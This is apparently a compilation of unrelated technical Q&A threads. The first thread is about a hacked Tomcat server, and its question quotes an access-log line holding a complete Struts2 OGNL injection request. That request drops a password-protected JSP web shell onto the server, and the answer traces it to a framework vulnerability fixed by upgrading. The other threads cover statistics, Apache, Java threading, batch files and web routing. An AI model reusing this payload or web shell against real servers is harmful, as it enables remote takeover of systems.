126.96.36.199 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\firstname.lastname@example.com@getRequest()')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(\\43req.getParameter(%22path%22))')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E&path=/opt/tomcat/webapp/ROOT/system2.jsp HTTP/1.1" 200 12387

Comment: What action does `/request!start.do` point to?
Comment: Note that the attempts appear to have come from inside your private subnet.
Answer: I believe the vulnerability listed here matches quite closely what you are seeing:
http://www.exploit-db.com/exploits/14360/
So it seems to be a problem with the Struts/XWork framework and you should look into upgrading that to a newer version. This specific vulnerability reports says that version 2.2.0 fixes this problem.

Java/Tomcat hacked


simple simulation of recurrent gene mutations

Question: Sorry if this question is too basic for the forum. I am trying to determine the number of recurrently mutated genes expected by chance given an equal likelihood of mutation for all genes. There are about 20,000 genes and I have ~400 mutations spread across ~100 individuals. I want to determine the probability of the same gene being mutated in multiple individuals. I have tried the following simulation. I'm surprised that I'm always getting the same number of recurrences. Am I making some mistake?
<code>  var = 400
  individuals = 100
  genes = 2e4

  mutated_genes <- sample(rep(c(1,0), c(var,genes*individuals-var)))

  sample_mat <- matrix(mutated_genes, ncol = individuals, nrow = genes)

  trials <- 1e4

  recurrences <- vector(mode = "list", length = trials)

  for (i in seq_len(trials)){
      # print(i)

      new_rows <- sample(nrow(sample_mat))
      new_cols <- sample(ncol(sample_mat))
      new_mat <- sample_mat[new_rows, new_cols]
      recurrences[[i]] <- rowSums(new_mat)
  }

  n_recurrences <- sapply(recurrences, function(x) sum(x > 1))

  summary(n_recurrences)
 ```
</code>
Comment: Please say more about what you mean by "I have ~400 mutations spread across ~100 individuals." Is that 400 mutations total, for about 4 mutations on average per individual? Or is it that each individual has 400 mutations? In the latter case, is that each individual having exactly 400, or with some variability among individuals? I'm having some trouble trying to parse your code. It might help if you could annotate each line of the code with what you intend that line to accomplish.
Answer: If what you have is $100$ individuals each having $400$ mutations in one of $20,000$ genes, with all genes having the same probability of mutation, then for a quick analysis you don't need a simulation.
Overall, there are $400 \times100=40,000$ mutations. With $20,000$ genes, that comes out to 2 mutations per gene on the average over all $400$ individuals. If that's the number you were always coming up with, your simulations were making sense. There are lots of fun things you can play with in terms of the distributions of mutations among individuals and among genes in your set of $400$ samples, but the basic point is that in this scenario you should be surprised if you don't find many genes mutated in more than 1 sample.
In practice, as I'm sure you know, things aren't that simple. For the benefit of others reading this, here are some of the issues:
If you're starting with tumor samples, you are more likely to find cancer driver genes mutated because the tissues from which you are sampling have already been selected for being cancerous. For example the TP53 gene, the "guardian of the genome," is very frequently mutated in tumors.
Even beyond genes specifically driving tumor development, different genes have different probabilities of being mutated. That depends on gene size, gene transcriptional activity, and the timing of gene replication during the cell cycle. Lawrence et al. analyzed those situations in detail, working out a way to correct for those influences to determine whether particular genes are mutated at a higher rate than chance in a set of tumor samples.


Hospedar dois websites em um único VPS

Question: Estou tentando hospedar dois websites diferentes no mesmo VPS. Quais são os procedimentos corretos para se fazer isso?
O servidor apache já está instalado e eu consigo hospedar arquivos por lá. Porém não consigo hospedar dois sites diferentes.
Meu httpd.conf tem o seguinte:
NameVirtualHost *:80

<VirtualHost *:80>
     ServerAdmin primeiro_site@primeiro_site.com
     DocumentRoot /var/www/primeiro_site/public_html
     ServerName www.endereco1.com
     ServerAlias endereco1.com
     ErrorLog /var/www/primeiro_site/error.log
</VirtualHost>

<VirtualHost *:800>
     ServerAdmin firstname.lastname@example.com
     DocumentRoot /var/www/segundo_site/public_html
     ServerName www.endereco2.com
     ServerAlias endereco2.com
     ErrorLog /var/www/segundo_site/error.log
</VirtualHost>

Porém ambos os endereços redirecionam para a pasta do site 1...
Comment: Claro, todas as soluções são bem vindas.
Comment: Você colocou o `endereco2.com` na porta 800 de propósito?
Comment: Não entendo muito de servidores. Coloquei na 800 acreditando que eu poderia acessar da seguinte maneira 220.127.116.11:800 para o segundo site. Mas sem resultados satisfatórios...
Comment: Você restartou o `Apache` após fazer a mudança?
Comment: Eu sugiro que você deixe os dois na porta 80 para facilitar o acesso mas para testar você não pode se esquecer de configurar o `DNS` ou seu arquivo `hosts` para teste local.
Comment: Sim sim, várias e várias vezes. Segui os passos deste tutorial: https://www.digitalocean.com/community/tutorials/how-to-set-up-apache-virtual-hosts-on-centos-6
A única coisa que não fiz foi justamente o "Optional Step Six—Setting Up the Local Hosts". Vou testar aqui se este seria o problema então.
Comment: O motivo de eu ter pulado este passo é que no tutorial eles dizem que se eu tiver redirecionado o meu dominio para o IP do VPS eu poderia pular aquele passo. E eu redirecionei ambos os endereços para o VPS. @Edit: Atualizei o código, e mudei ambos para a porta 80, ficando ambos com  Mas ainda sem resultados...
Comment: Eu normalmente faço de outro forma usando `sites-available` e `sites-enabled`. Quer que eu poste essa solução como uma resposta para você testar?
Answer: Dentro do diretório do Apache há um diretório chamado sites-available, nele há um exemplo chamado 000-default.conf.
Para adicionar novos sites crie duas cópias desse arquivo: 010-site1.conf e 020-site2.conf (ou o nome que preferir) e dentro dele insira os Virtual Hosts.
010-site1.conf
<VirtualHost *:80>
     ServerAdmin primeiro_site@primeiro_site.com
     DocumentRoot /var/www/primeiro_site/public_html
     ServerName www.endereco1.com
     ServerAlias endereco1.com
     ErrorLog /var/www/primeiro_site/error.log
</VirtualHost>

020-site2.conf
<VirtualHost *:80>
     ServerAdmin email@example.com
     DocumentRoot /var/www/segundo_site/public_html
     ServerName www.endereco2.com
     ServerAlias endereco2.com
     ErrorLog /var/www/segundo_site/error.log
</VirtualHost>

Para ativar use a ferramenta a2ensite:
sudo a2ensite 010-site1.conf
sudo a2ensite 020-site1.conf

Ou simplesmente crie um link simbólico em sites-enabled para estes dois arquivos:
ln -s 010-site1.conf ../sites-enabled/010-site1.conf
ln -s 020-site2.conf ../sites-enabled/020-site2.conf

Para as mudanças serem aplicadas é necessário reiniciar o Apache
sudo service apache2 restart

Comment: Em algumas distros o `Apache2` chama `httpd`. Os diretórios devem ser `/etc/httpd/sites-available` e `/etc/httpd/sites-enabled` mas aparentemente você tem que adicionar uma linha `include ../sites-enabled` dentro de `/etc/httpd/conf/httpd.conf` então basta criar o link simbólico e recarregar usando `service httpd reload`.
Comment: O diretório do Apache seria a pasta httpd certo? Se for, fui até ele e não existe essa pasta. Notei que você me sugeriu o comando para restartar o Apache usando "apache2", porém o VPS usa uma distribuição Red Hat do Linux (não sei se isso influência em algo, mas achei relevante citar) porém para restartar o apache eu uso "sudo /usr/sbin/httpd -k restart". Será que eu poderia criar essa pasta "sites-available" com mkdir?

Hospedar dois websites em um único VPS


Change Homebrew Cache

Question: I am using MacintheCloud paytogo plan.
I try to install vs-mda-remote tools with this tutorial.
Tutorial MSDN
It says i need no admin access.
Now it comes to some errors installing homebrew dependecies.
A few i could sort out with adding folder manually.
Now i facing the error Permission Denied /Library/Caches/Homebrew/Formula.
I know i can change this Path to some Folder where i have the rights, but how do i do this?
Couldn't find any helps to do this.
Thanks.
Answer: You can override the cache directory with the environment variable HOMEBREW_CACHE.  See the brew man page.

Change Homebrew Cache


put the current thread to sleep and let others wake it

Question: I have the follow method foo which takes an Observer and puts the current thread to sleep until the Observer wakes it up.
For some reason, I keep getting java.lang.IllegalMonitorStateException exception in foo
public void foo(Observer o)
{
    Thread currentThread = Thread.currentThread();
    o.setThread(currentThread);
    // sleep until the observer wakes it
    currentThread.wait(2000);   // <<<<< Exception happens here
}

The Observer object would call currentThread.notifyAll() sometime later when its Observable calls update on it.
public class Observer
{
    private volatile Thread currentThread;
    // ... other code  ....

   public void setThread(Thread t)
   {
       currentThread = t;
   }

   public void update(Observable o)
   {
        currentThread.notify();
   }
}

Any idea what is wrong here?
Comment: possible duplicate of [IllegalMonitorStateException on wait() call](http://stackoverflow.com/questions/1537116/illegalmonitorstateexception-on-wait-call)
Comment: http://stackoverflow.com/questions/1553886/java-lang-illegalmonitorstateexception-m-null-failed-to-get-monitor-for seems pertinent.
Comment: I'm not sure if it's of any help, but have a look at: http://stackoverflow.com/questions/1537116/illegalmonitorstateexception-on-wait-call and http://stackoverflow.com/questions/886722/how-to-use-wait-and-notify-in-java
Comment: That's is NOT the same as this question. I cannot put `synchronized` in `foo` because that would cause the thread to sleep forever. (See my comment below in one of the question!
Answer: Whenever you call wait(long) or notify() method of object , that thread must own the monitor of that object. So you should declare your block of code calling wait() on the object to be synchronized . So your method
public void foo(Observer o)

should be defined in following way:
public void foo(Observer o)
{
    Thread currentThread = Thread.currentThread();
    o.setThread(currentThread);
    // sleep until the observer wakes it
    synchronized(currentThread)
    {
      currentThread.wait(2000);
    }
 }

UPDATE:
Going by your requirement I suggest you that you should call wait on Observer object . So your code for foo should be something like this:
public void foo(Observer o)
{
    synchronized(o)
    {
      o.wait();//Don't pass time as parameter. Let only the Observer object to wake it up.
    }
 }

And your Observer  class should be defined in this way:
public class Observer
{
    // ... other code  ....

   /*public void setThread(Thread t)
   {
       currentThread = t;
   }*/
   public synchronized void update(Observable o)
   {
        notify();//Will wake up the Thread waiting on the current Object of Observer
   }
}

Comment: Sorry, what object should I call? I don't really have an object for sharing. All the I want to do is for the function `foo` to put the current executing thread to  sleep and let the `Observer` wake it.
Comment: Why would `foo` be declared as synchronized? I can guarantee that it is not going to be called concurrently.
Comment: Yes you are right..`foo` should not be synchronized, instead  `synchronized` should be called on object `currentThread` for the block of code that is calling `wait` method on `currentThread`
Comment: If i add synchronized(currentThread) in foo, the Observer.update would not be able to get access to currentThread because the Observer.update will be called in a different thread from the one foo is executing, which means foo will be sleeping forever, because it is holding currentThread while it sleeps, so update would not be able to wake it)
Comment: `foo` will not be sleeping forever as you have mentioned the time(`2 s`) for which the Thread will wait . See my updated Post..
Answer:
That's is NOT the same as this question. I cannot put synchronized in foo because that would cause the thread to sleep forever.

I don't think you are understanding how wait() and notify() work.  You do not wait and notify on the threads, you do it on the same object.  When your code does:
currentThread.wait(2000);

it is actually causing the current thread to wait on it's own Thread object.  The way to notify() that thread would then be something like:
Thread thread = new Thread(myRunnable);
...
thread.notify();

This is a very strange pattern and is most likely not what you want to do.  It shouldn't matter which thread is running the foo() method.  If you were using a thread-pool you wouldn't even know which thread was running it.
If you want your Observer thread to notify the thread waiting in foo() then they both need to be working with the same lock object.  Something like:
class MyClass {
    ...
    public synchronized void foo() {
        // this is waiting on the current instance of MyClass
        wait(2000);
    }
}

public class Observer {
     ...
     // to wake up the other thread, we lock the same myClass instance
     synchronized (myClass) {
         // and notify that object
         myClass.notify();
     }
}

Or you could create a lock object that they both should share.
final Object lockObject = new Object();
MyClass c1 = new MyClass(lockObject);
Observer obs = new Observer(lockObject();
...
class MyClass {
    private final Object lockObject;
    public MyClass(Object lockObject) {
        this.lockObject = lockObject;
    }
    ...
    public void foo() {
        // this is waiting on the current instance of MyClass
        synchronized (lockObject) {
            lockObject.wait(2000);
        }
    }
}
...
public class Observer {
    private final Object lockObject;
    public Observer(Object lockObject) {
        this.lockObject = lockObject;
    }
    public void update(Observable o) {
        synchronized (lockObject) {
            lockObject.notify();
        }
    }
}

FYI: Lock objects should almost always be final so they can't change their reference.   You never want to lock on something that changes like an Integer or a Boolean.
Comment: Ok, firstly I agreed with you that I misunderstood the meaning of `wait` and `sleep`. But I don't think your suggestions (especially the second one) would solve my problem (, though I might be wrong (again!)). So let me clarify what I am try to do. (in the second comment, since it'd be too long here)
Comment: I don't have an object that I need to be 'locked on'. All I want to do is for `foo` to put whatever thread currently calling `foo` to sleep, until the given `observer` (the argument to `foo`) wakes it up. The `observer` would be observing some background task elsewhere. It needs to wake the thread calling `foo` up after the background task that it is observing has finished. (`foo` would actually be `static`, by the way.)
Comment: Is there one instance of the object that has `foo()` in it or multiple instances?  You can't  call `notify()` on that object?
Comment: As I said, `foo` is `static`, so it is some sort of library function that anyone can call to wait until the `observer` says some background task has finished.
Comment: The only way to do that @OneTwoThree is to have the library function and the `Observer` share the same object.  It could be a `BlockingQueue` or something instead of a lock-object but there is no other way to accomplish what you want unless you want to do a socket connection to an agreed upon port or something.
Answer: I would prefer not yo use wait or notify as it is low level and gets dirty quickly if not well implemented. It can be solved through binary semaphore.
Semaphore sem = new Semaphore(0);
public void foo(Semaphore f){
    f.acquire();
}

Other thread, can later call f.release which will unblock the other thread
Answer: To use java.lang.Object.wait() you have to own the monitor, it's usually done by a synchronized block:
public void foo( Observer o ) throws InterruptedException
{
   Thread currentThread = Thread.currentThread();
   o.setThread( currentThread );
   synchronized( currentThread ) {
      currentThread.wait( 2000 );
   }
}

Add the same mechanism around notify()
public void update( Observable o ) throws InterruptedException {
   synchronized( currentThread ) {
      currentThread.notify();
   }

}
Comment: If i add `synchronized(currentThread)`  in foo, the `Observer.update` would not be able to get access to `currentThread` because the `Observer.update` will be called in a different thread from the one `foo` is executing, which means `foo` will be sleeping forever, because it is holding `currentThread` while it sleeps, so `update` would not be able to wake it)
Answer: You can use a synchronized. When you will call currentThread.wait(), the thread will sleep and will free the monitor (currentThread). This thread will after be waiting to be waked up by another thread with a notify() on the same monitor.


Dynamic factor analysis vs state space model

Question: The MARSS package in R offers function for dynamic factor analysis. In this package, the dynamic factor model is written as a special form of state space model and they assume the common trends follow AR(1) process. As I am not very familiar with those two methods, I come with two questions:
Is the Dynamic Factor Analysis a special form of State Space Model? What is the difference between those two methods?
In addition, the Dynamic Factor Analysis does not necessary assume the common trends as AR(1) process. Is there any package that allows the the common trends as seasonal ARIMA (or some other) process?
Answer: I did not see your question before.
Yes, dynamic factor analysis can bee seen as a particular case of state-space model. It makes observations dependent of a small dimensional state vector (small relative to the dimension of the observation vector). So it is the same idea as in ordinary factor analysis, plus time dependence.
The "factors" may have any time dynamics. Several R packages, if you use R, will let you specify a general dynamic factor analysis model, including for instance dlm or KFAS.


Como declarar uma variável no .BAT ("shell")?

Question: Estou começando a mexer com arquivo .BAT, e criei uma linha de comando. Exemplo:
ping <nome do computador>

Abaixo ele me mostraria se ele está online, ficaria assim:
ping computador_1

Mas eu queria colocar o nome do PC ou IP em uma variável, e usar essa variável no comando ping. Como posso fazer isso?

Pedro Gaspar
o erro que está dando é esse !
abaixo está mostrando meus comandos e o que aparece
o arquivo que está como nome "branco" na pasta ele abaré e aparece e fecha (conforme a imagem em anexo)
e sim tenho uma pasta com nome ping.bat e está descrita conforme na imagem

Senhores minha linha de comando ficou assim
só que
@echo off
set /a nome=Informe o nome ou IP do destino:
echo O nome escolhido foi '%nome%'.
echo %errorlevel%
ping.exe %nome%
e o ping.exe que chamo ele (sim ele esta na mesma pasta) ficou o seguinte
set/p maquina=Escreva o nome da maquina
ping %maquina%
OBS: QUERO CONSEGUIR colocar o iP ou Nome Da Maquina na linha de comando tipo na primeira linha de comando ele abrir e só precisar colocar o que eu desejar.
Nessa linha de comando (SEM PRECISAR CHAMAR outra .bat)
Comment: Bem-vindo ao StackOverflow Caique. Evite colocar imagens com o código, prefira sempre escrever o código diretamente na pergunta.
Comment: O que você quer é passar um parâmetro para o script, não declarar uma variável, certo? Use `%1` para o primeiro argumento de linha de comando, `%2` para o segundo e assim por diante até `%9`.
Answer: Do jeito que você fez já está correto o uso da variável em um script batch. O comando set é usado para atribuir um valor a uma variável e o comando set /p permite que voce especifique um texto que será apresentado ao usuário e o valor da variável será um input do usuário.
Você também poderia usar o comando set /a para especificar uma expressão numérica, como em set /a soma=4+3.
E depois você usa a variável ao longo so script colocando o nome dela entre sinais de porcentagem: %<nome da variáve>%.
Mas você pode usar o comando echo para controlar o que será exibido como resultado do seu script batch. O comando @echo off faz com que não seja exibido cada comando executado, e quando você usa o echo diretamente com algum texto, esse texto é exibido no prompt de comando.
Veja o seu teste de script batch ligeiramente modificado:
[Teste.bat]
@echo off
set /p nome=Informe o nome ou IP do destino:
echo O nome escolhido foi '%nome%'.
ping.exe %nome%

O resultado seria:
c:\>teste
Informe o nome ou IP do destino: pt.stackoverflow.com
O nome escolhido foi 'pt.stackoverflow.com'.

Pinging pt.stackoverflow.com [184.108.40.206] with 32 bytes of data:
Reply from 220.127.116.11: bytes=32 time=5ms TTL=61
Reply from 220.127.116.11: bytes=32 time=6ms TTL=61
Reply from 188.8.131.52: bytes=32 time=5ms TTL=61
Reply from 220.127.116.11: bytes=32 time=6ms TTL=61

Ping statistics for 22.214.171.124:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 5ms, Maximum = 6ms, Average = 5ms

Edição
O colega bfavaretto alertou para o fato de que talvez a dúvida fosse em relação a passar parâmetros para o arquivo .BAT, e que os parâmetros podem ser recuperados no script usando as variáveis %1, %2, etc., até %9. O número na variável será referente à ordem do parâmetro na linha de comando.
Por exemplo, o seguinte batch script:
@echo off
echo %1
echo %2

Poderia ser chamado assim, e esse seria o resultado:
C:\teste.bat parâmetro1 /parâmetro2
parâmetro1
/parâmetro2

Edição 2
Fazendo o primeiro batch com o conceito de parâmetros ficaria assim:
[Teste.bat]
@echo off
echo O nome ou IP do destino escolhido foi '%1'.
ping.exe %1

E poderia ser chamado assim, e esse seria o resultado:
C:\teste.bat pt.stackoverflow.com
O nome ou IP do destino escolhido foi 'pt.stackoverflow.com'.

Pinging pt.stackoverflow.com [184.108.40.206] with 32 bytes of data:
Reply from 184.108.40.206: bytes=32 time=6ms TTL=59
[...]

Comment: mais se está correto por que ele não mostra o resultado (não copila)?
copiei esse seu teste. @echo off set /p nome=Informe o nome ou IP do destino: echo O nome escolhido foi '%nome%'. ping %nome%
E não tive sucesso
Comment: Estranho, aqui para mim o resultado foi exatamente esse que postei. E se você disparar o comando `ping` no prompt de comando diretamente, sem script batch, funciona?
Comment: sim funciona sem nem um problema funciona tanto pra site tanto pra ip e mesmo serve para nome de pc.
Comment: Coloca um `echo %errorlevel%` na linha seguinte à linha do `ping %nome%` no arquivo .BAT, para ver se está dando algum erro no comando `ping`, quando disparado pelo batch. Você tem algum arquivo chamado `ping.bat` nessa pasta? Tente colocar o comando `ping.exe %nome%` no arquivo .BAT.
Comment: e eu queria especificar o local quando eu abrisse o mesmo .. não em outra arquivo.
Comment: Pedro Gaspar, sua resposta está boa, mas acho que a pergunta no fundo é como passar parâmetros para o script na linha de comando.
Comment: Pode ser que seja isso, né. Vou acrescentar isso na resposta então, obrigado.


Log-log regression with log(1+x) and log(1+y)

Question: I just read a paper where they used a log-log regression with log(1+x) as one of the independent variables and log(1+y) being the dependent variable.
The only inference from this regression in the paper was that, since the estimated coefficient is positive and significant, the impact of x on y is positive. This made me wonder whether the statement is true and if there is any possibility for a more detailed inference from the estimated coefficient.
Comment: $f(x) = \log(x+1)$ is monotonically increasing, so the statement is true (with the caveats that regression in general entails). I don't understand the second question: what more about the coefficient would you like to know?
Comment: In an ordinary linear regression, one can infer that a one unit change in x (holding the other independent variables fixed) would change y by the estimated coefficient. Is it possible to make any statement like this concerning the influence of x on y from the estimated coefficient in this regression setting?
Comment: Yes, of course, because the meaning of the coefficient does not change merely because of how you express your values.  As always, a difference of one unit of $x$ is associated with a difference of $\hat\beta$ units of $\log(1+y).$
Comment: Our thread at https://stats.stackexchange.com/questions/576504 perhaps offers the "more detailed inference" you seek.
Answer:
The only inference from this regression in the paper was that, since the estimated coefficient is positive and significant, the impact of x on y is positive. This made me wonder whether the statement is true and if there is any possibility for a more detailed inference from the estimated coefficient.

$f(x)=log(x+1)$ is monotonically increasing, so the statement is true (with the caveats that regression in general entails).
The second part of the question, however, is no, we can't express changes in $y$ in terms of purely $\beta_1$, because the relation is non-linear, and changes for different values of $x$.
$$E[\log(y+1)|x] = \log(\hat y + 1) = \beta_0+\beta_1\log(x+1)$$
$$\frac{\partial{\log(\hat y + 1)}}{\partial x} =
\frac{\partial{\log(\hat y + 1)}}{\partial \hat y}\frac{\partial{\hat y}}{\partial x}=
\frac{\partial{\hat y}}{\partial x}\frac{1}{\hat y + 1}
=\frac{\beta_1}{x+1}$$
So
$$\frac{\partial{\hat y}}{\partial x}={\beta_1}\frac{\hat y + 1}{x+1}=
{\beta_1}\frac{\exp(\beta_0+\beta_1\log(x+1))}{x+1}$$
This can be further simplified, although no further insight ensues:
$$\frac{\partial{\hat y}}{\partial x}=
{\beta_1}\frac{\exp(\beta_0+\beta_1\log(x+1))}{x+1}
=
{\beta_1}\frac{\exp(\beta_0)\exp(\beta_1\log(x+1))}{x+1}
=\\
{\beta_1}\frac{\exp(\beta_0)(x+1)^{\beta_1}}{x+1}
=\\
\beta_1\exp(\beta_0)(x+1)^{\beta_1-1}
$$


mvc routing to incorrect url on http post

Question: The default url of the application is
http://servername/Root/ITProjects
There is a menu item with 'Team' on the default page which should redirect to another controller with index which will display a dropdownlist at the following url
http://servername/Root/ITProjects/Team
It's working fine so far.
However when the user selects an item in the dropdownlist, it should go to the url below
http://servername/Root/ITProjects/Team/Index?Id=7
But it's directing to
http://servername/Team/Index?Id=7
and throwing the 404 error. It is missing the folder path 'Root/ITProjects' after the servername. It's working fine on localhost where there is no folder path but failing on deployment to test or prod servers
<code>[AuthorizeAD(Groups = "APP_xxxx_Users")]
public class TeamController : Controller
{
    public int pageSize = 5;
    private IProjectService _projectService;

    public TeamController(IProjectService projectService)
    {
        this._projectService = projectService;
    }
    public ActionResult Index(int? Id, int? page)
    {
        int pageNumber = (page ?? 1);

        var viewModel = new TeamViewModel();
        if (Id != null)
        {
            viewModel.SelectedMember = (int)Id;
            viewModel.Tasks = this._projectService.GetTasksByStaff(viewModel.SelectedMember).ToPagedList(pageNumber, pageSize);
        }
        return View(viewModel);
    }
    [HttpPost, ActionName("Index")]
    public ActionResult IndexPost(int Id, int? page)
    {
    int pageNumber = (page ?? 1);
    var viewModel = new TeamViewModel();
    viewModel.SelectedMember = Id;
    if (ModelState.IsValid)
    {
        viewModel.Tasks = this._projectService.GetTasksByStaff(viewModel.SelectedMember).ToPagedList(pageNumber, pageSize);
    }
    return View(viewModel);
    }
}

public static void RegisterRoutes(RouteCollection routes)
        {
            routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

            routes.MapRoute(
                name: "Default",
                url: "{controller}/{action}/{id}",
                defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
            );
        }
</code>
As part of Index view when dropdownlist item is selected
<code>    @Html.DropDownListFor(m => m.SelectedMember, new SelectList(Model.StaffList, "UniqueId", "Initials", Model.SelectedMember), new { @class = "btn btn-default btn-color", onchange = @"form.action='/Team/Index?Id=' +this.value;form.submit();" })
</code>
Answer: Your MVC application is in a sub-directory of another application, so IIS considers the root of the parent application instead of the root of your MVC application.
In IIS, you need to convert the virtual directory to an Application: choose your virtual directory and "Convert to Application." If you are unable to do that, then you need to modify your routes in routes.config to take the virtual directory into account:
<code>routes.MapRoute(
    "Default", // Route name
    "Root/ITProjects/{controller}/{action}/{id}", // URL with parameters
    new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults
);
</code>
Comment: I did convert virtual directory to application. As I mentioned (updated just now) in the post, there is no issue with default and redirecting to other controller index method. It's failing only when there is a http post from other controller. when I did change the route.config to Root/ITProjects/...., it is throwing 404 error on all pages
Comment: What does your form look like in the view?  More specifically, how are you constructing the POST url in the form?  Finally, look at the rendered form in Dev Tools - what is the post URL?
Comment: I have  posted the dropdownlistfor on the index view at the bottom of the post. Based on the selected item, I am calling onchange event.
Comment: Your post is going to exactly where you asked: `form.action='/Team/Index`.  You need to update the post to `form.action='/Root/ITProjects/Team/Index`
Comment: But there would be different folder structure in localhost, test and prod environments. Is there any generic way to identify the folder structure based on the environment the application is in and redirect accordingly.
Comment: The different environments will continue to give you problems by hard coding an action URL.  Try removing the action URL specification  altogether - it should then post to the URL the form did a GET from.
Answer: your default route for controllers looks like this :
<code>            routes.MapRoute(
            name: "Default",
            url: "{controller}/{action}/{id}",
            defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
        );
</code>
You can add /Root/ITProjects/ before the URL to change the default controller path


Why is DateTime altering timezone in PHP?

Question: $datetime = new DateTime( gmdate('Y-m-d H:i:s'), new DateTimeZone('UTC') );
$past_time = $datetime->createFromFormat( 'Y-m-d H:i:s', $past_time )->getTimestamp();
echo 'Past formed: ' . gmdate('H:i:s', $past_time ) . '

';

Is outputting:
2016-09-09 14:42:50
Past formed: 12:42:50

$past_time = $row->date_added;

Where date added is in a MySQL database and is equal to:
2016-09-09 14:42:50

I'm not changing the timezone, I'm merely converting a timestamp back into gmdate()
At which point is the time having 2 hours taken off it and how do I prevent it?
Edit
$datetime = new DateTime( gmdate('Y-m-d H:i:s'), new DateTimeZone('UTC') );
$past_time = $datetime->createFromFormat( 'Y-m-d H:i:s', $past_time, new DateTimeZone('UTC') )->getTimestamp();
echo 'Past formed: ' . gmdate('H:i:s', $past_time ) . '

';

This was the solution, I had to set the timezone despite never changing it
It must make sense in a round-a-bout way, but I still don't really understand where DateTime is getting its "from and to"
Comment: What exactly is the purpose of using `createFromFormat` *on an existing instance*…?
Comment: Come on, dont use `gmdate()` if not needed and use `DateTime` simple as possible, like @deceze noted. What are you try to do?
Comment: That's not what I'm asking. What's the point of the whole `$datetime` instance? Doesn't look like it serves any purpose. What exactly are you trying to accomplish here? You're clearly overcomplicating *something*, and that makes it unclear what the purpose of this code is supposed to be.
Comment: Maybe from the  `'U'`, why are you using it !?-- forget this comment
